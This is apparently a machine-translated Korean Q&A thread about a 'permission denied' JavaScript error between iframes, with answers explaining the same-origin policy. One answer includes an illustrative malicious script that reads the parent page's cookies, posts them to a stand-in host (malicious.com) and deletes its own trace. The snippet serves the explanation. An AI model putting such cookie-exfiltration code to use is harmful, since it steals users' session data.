2013-05-22 3 views
4

다른 iframe에서 속성에 액세스하는 데 문제가 있습니다. 속성 오류에 액세스하기 위해이 권한이 계속 거부되었습니다. 사람들이 file : ///을 여러 번 사용하는지 물어 본 적이 있지만 누구도 (나를 제외하고) 결코 해결되지 않도록합니다.자바 스크립트 권한이 속성 액세스를 거부했습니다.

웹에서이 작업을 수행하지 않습니다. 내 모든 프레임의 src가 내 하드 드라이브의 같은 파일에 있습니다. 내가 다른 프레임

function fill_with_pairs() 
{ 
    for (var x = 0 ; x < setLength ; x++) 
    { 
     var tempSet = sets[x]; 
     var tempNums = tempSet.wb_numbers; 
     if (top.num_frame.active_list.active_nums[x].checked) 
     { 
      for (var y = 0 ; y < 4 ; y++) 
      { 
       var thesePairs = tempNums[y]; 
       var pairBase = numbersX[thesePairs]; 
       for (var z = y+1 ; z < 5 ; z++) 
       { 
        var pairKey = tempNums[z]; 
        pairBase[z]++; 
       } 
      } 
     } 
    } 
} 
+1

당신이 사람들이 잘못 갈 수 무엇을 생각하기보다는 시도 실제 코드를 보여주는 더 나은 것 ..! –

+1

iframe은 웹 사이트와 동일한 도메인 이름, 프로토콜 및 포트를 가진 위치를 가리 키지 않으므로이 인터페이스와 상호 작용할 수 없습니다. 브라우저 제한 사항입니다. – Blender

+0

Chrome을 사용하고 'file : ///'페이지 (iframe 제외)에 액세스하는 것과 유사한 문제가 있습니다. 해결책은'--allow-file-from-files'를 사용하여 Chrome을 시작하는 것입니다. 귀하의 마일리지가 다를 수 있습니다. – HBP

답변

2

(AN iframe 요소 등) 다른 도메인에서 문서의 속성에 액세스하려고 모든 자바 스크립트에서 만든 개체의 일부 속성을 얻기 위해 노력하고 있어요라는 보안 개념을 위반 same origin policy. 컴퓨팅에서

은 동일한 기원 정책은 브라우저 측 프로그래밍 언어의 수에 대한 중요한 보안 개념 같은 자바 스크립트입니다. 이 정책은 같은 사이트에서 실행되는 스크립트 (스키마, 호스트 이름 및 포트 조합 숫자 1)가 특정 제한 사항없이 서로의 메소드 및 등록 정보에 액세스 할 수 있지만 대부분의 메소드 및 속성에 대한 액세스를 차단합니다 다른 사이트의 페이지

10

<iframe src="http://example.com" onload="test(this)"></iframe> 
<script> 
function test(frame) 
{ 
    var cDoc = frame.contentDocument; 
} 
</script> 

아래 코드는

Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match. 

프로토콜이 일치해야합니다 예외 (예 : 메인 윈도우와 iframe이 프로토콜 중 하나 file: 또는 http:이 몇 이름을해야합니다).

도메인은 일치해야합니다 (예 : 메인 윈도우와 iframe이 도메인이 example.com을해야합니다) 포트가 일치해야

(예 : 메인 윈도우와 iframe이 포트가 있어야합니다 80 또는 8080)


이 경계를 설정하지 않은 악의적 인 사이트에서 실행되는 코드로부터 사용자를 보호하여 의심하지 않는 사용자의 데이터를 쉽게 도용 할 수 있습니다.

악성 자바 스크립트 코드의 예 :

<script id="loadScript"> 
window.onload = function() 
{ 
    //grab parent to iframe 
    var parentWindow = window.parent.window; 
    //grab cookies from parent window 
    var cookies = parentWindow.document.cookie; 
    //send cookies off to malicious site 
    var form = document.createElement("form"); 
    var inp = document.createElement("input"); 
    form.action="http://malicious.com/maliciousAd.php"; 
    form.method="post"; 
    inp.value=cookies; 
    inp.name="cookies"; 
    form.appendChild(inp); 
    form.submit(); 
    //remove traces of malicious code 
    document.body.removeChild(document.getElementById("loadScript")) 
} 
</script> 
관련 문제